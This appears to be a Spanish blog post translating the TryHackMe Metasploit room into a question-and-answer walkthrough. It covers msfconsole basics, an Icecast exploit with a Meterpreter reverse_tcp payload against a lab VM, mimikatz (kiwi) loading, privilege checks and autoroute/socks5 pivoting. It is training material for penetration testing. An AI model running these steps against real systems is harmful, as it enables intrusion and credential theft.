sábado, 13 de marzo de 2021

TryHackMe: Metasploit, breve introducción al framework

Metasploit

Después de unos días sin publicar por ocupaciones varias, vuelvo para traeros una traducción de la sala de Metasploit de TryHackMe, uno de los frameworks más utilizados en el mundo de la ciberseguridad y pentesting. Metasploit nos permite analizar las vulnerabilidades de una máquina remota, conectar con ella e incluso subir archivos a dicha máquina. Espero que os guste el tutorial y os sea de utilidad.

Introducción

Metasploit, el framework de pentesting de código abierto, es una herramienta muy potente utilizada por los ingenieros en ciberseguridad de todo el mundo. Mantenida por Rapid 7, Metasploit es una colección de exploits probados a fondo, además de herramientas auxiliares y de post-explotación. A lo largo de esta sala, exploraremos las bases de su uso y algunos de los módulos incluidos en él.

La máquina virtual que usaremos en esta sala (Ice), una versión en plan chuleta de esta sala, y su subsecuente contraseña pueden descargarse para trabajar offline desde https://darkstar7471.com/resources.html.

Kali y la mayoría de distribuciones de seguridad de Linux incluyen Metasploit por defecto. Si estás usando una distribución distinta de Linux, verifica si lo tienes instalado, y si no, instálalo del repositorio de Github de Rapid 7.

Empezando…

Si es la primera vez que utilizas Metasploit, habrá algunas cosas que tendrás que hacer antes de usar todas sus funcionalidades. Vamos a verlas y comencemos con esto.

Lo primero que debemos hacer es inicializar la base de datos. Lo haremos con el comando: msfdb init.

Antes de arrancar Metasploit, podemos ver algunas de las opciones avanzadas que podemos activar para iniciar la consola. Compruébalas ahora usando el comando: msfconsole -h.

Pregunta: También podemos iniciar la consola en la línea de comandos sin mostrarnos el banner ni ninguna información de inicio. ¿Qué modificador añadiremos a msfconsole para arrancarlo sin enseñar dicha información? (Include el ‘-‘).

Respuesta: -q

Una vez que la base de datos está inicializada, arrancaremos Metasploit con el comando: msfconsole.

Cuando ya hemos arrancado Metasploit, comprobaremos que la base de datos está conectada. Para hacer esto utilizaremos el comando: db_status.

Pregunta: ¡Muy bien! Ahora que hemos conectado a la base de datos, ¿qué tipo de base de datos utiliza Metasploit 5?

Respuesta: postgresql

Y ahora vamos a la chicha del asunto (comandos)

Usando el menú de ayuda, vamos a aprender los comandos básicos y las categorías de los módulos de Metasploit. Todas las respuestas a las siguientes preguntas se pueden encontrar en el menú de ayuda de Metasploit.

Sigamos adelante y vamos a comenzar a explorar el menú de ayuda. En la línea de comandos de Metasploit (que es donde estaremos después de usar el comando msfconsole), escribe el comando: help.

Pregunta: El menú de ayuda tiene un alias de un solo carácter, ¿cuál es?

Respuesta: ?

Pregunta: La búsqueda de los distintos módulos que tenemos a nuestra disposición en Metasploit es uno de los comandos que más usaremos en este framework. ¿Cuál es el comando básico para realizar esta búsqueda?

Respuesta: search

Pregunta: Una vez que hemos encontrado el módulo que nos interesa, ¿qué comando utilizaremos para seleccionarlo como un módulo activo?

Respuesta: use

Pregunta: ¿Y si queremos ver la información acerca de un módulo específico o sobre el activo que hemos seleccionado?

Respuesta: info

Pregunta: Metasploit tiene una función interna parecida a netcat con la que podemos realizar una conexión rápida a un host solo para verificar que podemos ‘hablar’ con él. ¿Qué comando es?

Respuesta: connect

Pregunta: Uno de los comandos puede utilizarse solamente por diversión. ¿Qué comando nos muestra en pantalla el banner en ascii que podemos ver al iniciar msfconsole (sin el modificador -q)?

Respuesta: banner

Pregunta: Revisitaremos los dos comandos siguientes dentro de poco tiempo pero, de todas formas, son los comandos más usados en Metasploit. Primero, ¿qué comando usamos para cambiar el valor de una variable?

Respuesta: set

Pregunta: Metasploit soporta el uso de variables globales, algo que es realmente útil cuando te estás enfocando en una sola máquina. ¿Qué comando cambia el valor de la variable globalmente?

Respuesta: setg

Pregunta: Ahora que hemos aprendido cómo cambiar los valores de las variables, ¿cómo podemos verlas? Técnicamente, hay distintas respuestas a esta pregunta. De todos modos, se busca un comando específico de tres letras que se usa para ver el valor de variables individuales.

Respuesta: get

Pregunta: ¿Y para cambiar el valor de la variable a un valor nulo?

Respuesta: unset

Pregunta: Cuando estamos realizando una prueba de penetración es muy común grabar lo que tienes en pantalla para poder revisarlo posteriormente o para proveer de las evidencias de cualquier acción tomada. Esto suele ir unido a la recopilación de la salida de consola en un archivo, ya que puede ser muy útil para grep y para otras formas de información de salida en pantalla. ¿Qué comando usamos para guardar la salida de la consola a un archivo?

Respuesta: spool

Pregunta: Dejar corriendo una máquina de Metasploit no siempre es lo más conveniente y puede ser de ayuda cargar los valores previamente cuando iniciamos Metasploit. ¿Qué comando usamos para almacenar los ajustes de Metasploit a un archivo de ajustes? Éste se guardará en tu directorio de msf4 (o msf5) y puede eliminarse fácilmente borrando el archivo de ajustes creado.

Respuesta: sabe

Módulos para cada ocasión

Metasploit consta de seis módulos principales que constituyen la mayor parte de las herramientas que utilizarás. Echemos un vistazo rápido a esos modelos, sus propósitos y algunos comandos asociados a ellos.

Módulos de Metasploit

*Nota: este diagrama incluye tanto las interfaces como la mayoría de los módulos. Este diagrama no incluye el módulo ‘Post’.

Pregunta: Este será fácilmente el módulo que más utilices. ¿Cuál es el módulo que abarca todo el código de explotación que usaremos?

Respuesta: exploit

Pregunta: Se utiliza mano a mano con los exploits. ¿Cuál es el módulo que contiene varios bits del shellcode que enviamos para poder ejecutar a continuación la explotación?

Respuesta: payload

Pregunta: ¿Qué módulo se usa comúnmente en el escaneo y verificación de que una máquina es explotable? No es lo mismo que la explotación actual en curso.

Respuesta: auxiliary

Pregunta: Una de las actividades más comunes después de la explotación es el saqueo y el pivotaje. ¿Qué módulo proporciona estas capacidades?

Respuesta: post

Pregunta: Comúnmente usado en la ofuscación de un payload, ¿qué módulo nos permite modificar la ‘apariencia’ de nuestro exploit para evitar la detección de firmas?

Respuesta: encoder

Pregunta: Por último, pero no menos importante, ¿qué módulo se usa con ataques de desbordamiento de buffer y ataques ROP?

Respuesta: nop

Pregunta: No todos los módulos están cargados por defecto, ¿qué comando podemos usar para cargar módulos distintos?

Respuesta: load

¡Mueve esa shell!

¿Recuerdas aquella base de datos que configuramos? En este paso vamos a cómo podemos usarla y a explotar la máquina víctima.

Como ya debes haber notado, hasta este punto no hemos tocado nmap en esta sala, y mucho menos hemos hecho reconocimiento de la máquina de nuestra víctima. Todo esto cambiará a partir de ahora, ya que utilizaremos nmap dentro de Metasploit. Despliega la máquina virtual, puede llevarte unos tres minutos arrancarla.

*Nota: Metasploit soporta distintos tipos de escaneo de puertos desde los módulos auxiliares. Metasploit también puede importar otros escaneos de nmap y Nessus, por nombrar algunos.

Metasploit viene con una forma integrada de correr nmap y alimentar nuestra base de datos directamente con sus resultados. Vamos a arrancarlo utilizando el comando db_nmap -sV IP_de_la_maquina.

Pregunta: ¿Qué servicio identifica nmap corriendo en el puerto 135?

Respuesta: msrpc

Sigamos adelante y veamos qué información hemos recolectado en la base de datos. Prueba a escribir el comando hosts ahora en msfconsole.

Ahora veamos algo más de la base de datos. Prueba con el comando services.

Una última prueba, inténtalo ahora con el comando vulns. No te mostrará mucho por el momento, pero es importante ver que Metasploit llevará la cuenta de las vulnerabilidades descubiertas. Una de las muchas formas en que la base de datos puede ser aprovechada de forma rápida y potente.

Pregunta: Ahora que hemos escaneado el sistema de nuestra víctima, probaremos a conectar a él con un payload de Metasploit. Lo primero, tendremos que buscar el payload objetivo. En Metasploit 5 puedes simplemente escribir use seguido de una única cadena que encontrarás en el exploit del objetivo. Por ejemplo, prueba esto con el siguiente comando: use icecast. ¿Cuál es la ruta completa de nuestro exploit que aparece en el prompt de msfconsole? *Incluye la sección de explotación al inicio.

Respuesta: exploit/windows/http/icecast_header

El uso de ese comando con la cadena única puede ser muy útil, pero no es exactamente el exploit que estamos buscando. Ejecuta el comando search multi/handler.

Sigue adelante y ahora ejecuta el comando use NUMERO_AL_LADO_DE exploit/multi/handler donde el número será el que aparece en la columna más a la izquierda. De esta forma, podemos utilizar nuestros resultados de búsqueda sin tener que escribir la ruta completa del módulo que queremos usar.

Pregunta: ¿Cuál es el nombre de la columna en la parte izquierda de la consola que aparece junto a ‘Nombre’?

Respuesta: #

Ahora escribe el comando use NUMERO_PREGUNTA_ANTERIOR. Esta es la forma corta de usar los módulos devueltos por los resultados de una búsqueda.

A continuación, configuraremos el payload usando el comando set PAYLOAD Windows/meterpreter/reverse_tcp. De esta forma, podemos modificar qué payloads queremos que se usen con nuestros exploits. Adicionalmente, ejecuta el comando set LHOST TU_IP. Para comprobar cuál es tu IP utiliza el comando ip addr, es la que estará en la interface tun0.

Sigamos y volvamos a nuestro exploit anterior, ejecuta el comando use icecast para seleccionarlo de nuevo.

Un último paso antes de ejecutar el exploit. Ejecuta el comando set RHOSTS IP_DE_LA_MAQUINA para decirle a Metasploit cuál es el objetivo a atacar.

Una vez que has configurado estas variables correctamente, ejecuta el exploit con el comando exploit o el comando run -j para arrancarlo como trabajo.

Una vez hecho esto, podemos comprobar todos los trabajos que están corriendo en ese momento con el comando jobs.

Después de establecer nuestra conexión en la próxima tarea, podemos listar todas nuestras sesiones con el comando sessions. De forma similar, podemos interactuar con una sesión objetivo con el comando sessions -i NUMERO_DE_SESION.

Ya estamos dentro. ¿Y ahora qué?

Ahora que hemos conseguido una shell en la máquina de la víctima, echemos un ojo a varias acciones de módulos de post-explotación que podemos aprovechar. La mayoría de las preguntas de esta sección pueden responderse usando el menú de ayuda de Meterpreter, al cual podemos acceder mediante el comando ‘help’. Este menú se expande de forma dinámica conforme vayamos cargando más módulos.

Pregunta: Lo primero es que nuestra shell normalmente no será muy estable. Sigamos adelante e intentemos movernos a un proceso distinto. Para empezar, listamos los procesos usando el comando ps. ¿Cuál es el nombre del servicio spool?

Respuesta: spoolsv.exe

Pregunta: Seguimos adelante y nos movemos al proceso spool o al menos lo intentaremos. ¿Qué comando usamos para transferirnos a nosotros mismos a ese proceso? Esto no funcionará ahora mismo, ya que aún no tenemos suficientes privilegios, pero lo podemos intentar.

Respuesta: migrate

Pregunta: Bien, como dijimos, la migración no ha funcionado, toca buscar más información acerca del sistema, por lo que podemos intentar elevar. ¿Qué comando podemos ejecutar para encontrar más información con respecto al usuario que está actualmente ejecutando el proceso en el que estamos?

Respuesta: getuid

Pregunta: ¿Y para encontrar más información acerca del sistema en sí?

Respuesta: sysinfo

Pregunta: Esto puede parecerse un poco a googlear, ¿qué ejecutamos para cargar mimikatz (más específicamente, la nueva versión de mimikatz) para poder usarlo?

Respuesta: load kiwi

Pregunta: Vamos a averiguar los privilegios de nuestro usuario actual, ¿qué comando ejecutamos?

Respuesta: getprivs

Pregunta: ¿Qué comando ejecutamos para transferir archivos al ordenador de nuestra víctima?

Respuesta: upload

Pregunta: ¿Y si queremos ejecutar un módulo de Metasploit?

Respuesta: run

Pregunta: Una pregunta simple pero necesaria, ¿qué comando ejecutamos para averiguar la información de red y las interfaces de nuestra víctima?

Respuesta: ipconfig

Ejecutamos algunos módulos de Metasploit. Primero, ejecuta el comando run post/Windows/gather/checkvm. Esto determinará si estamos en una máquina virtual, un conocimiento muy útil si queremos pivotar más adelante.

Para continuar probaremos con el siguiente comando: run post/multi/recon/local_exploit_suggester. Esto comprobará cual de varios exploits podemos ejecutar en nuestra sesión para elevar nuestros privilegios. Siéntete libre de experimentar usando estas sugerencias, de todos modos, nos adentraremos más en todo esto en la sala de Ice.

Finalmente, probaremos si RDP está disponible. Esto no funcionará mientras no seamos administradores, pero de todos modos es un comando divertido sobre el que aprender: run post/windows/manage/enable_rdp.

Pregunta: Una pregunta rápida extra, ¿qué comando podemos ejecutar en nuestra sesión de meterpreter para crear una shell normal del sistema?

Respuesta: shell

Haciendo que Cisco esté orgulloso

Para ir terminando, pero no por ello menos importante, echemos un vistazo a las opciones de autodireccionamiento disponibles en Metasploit. Aunque la máquina de nuestra víctima no tenga múltiples interfaces de red (NICs), haremos un recorrido por ella como si tuviera acceso a redes adicionales.

Pregunta: Vamos allá y ejecutemos el comando run autoroute -h, éste nos mostrará el menú de ayuda para el autodireccionamiento. ¿Qué comando ejecutaremos para añadir una ruta a la siguiente subred: 172.18.1.0/24? Utiliza el modificador -n en tu respuesta.

Respuesta: run autoroute -s 172.18.1.0 -n 255.255.255.0

Pregunta: Adicionalmente podemos arrancar un proxy de socks5 fuera de esta sesión. Llevemos a segundo plano nuestra sesión de Meterpreter y ejecutemos el comando search server/socks5. ¿Cuál es la ruta completa para el módulo auxiliar de socks5?

Respuesta: auxiliary/server/socks5

Pregunta: Una vez hemos iniciado el servidor podemos modificar nuestro archivo /etc/proxychains.conf para incluir nuestro nuevo servidor. ¿Qué comando precederá a nuestros comandos (fuera de Metasploit) para correrlos a través del servidor socks5 con proxychains?

Respuesta: proxychains

No hay comentarios:

Publicar un comentario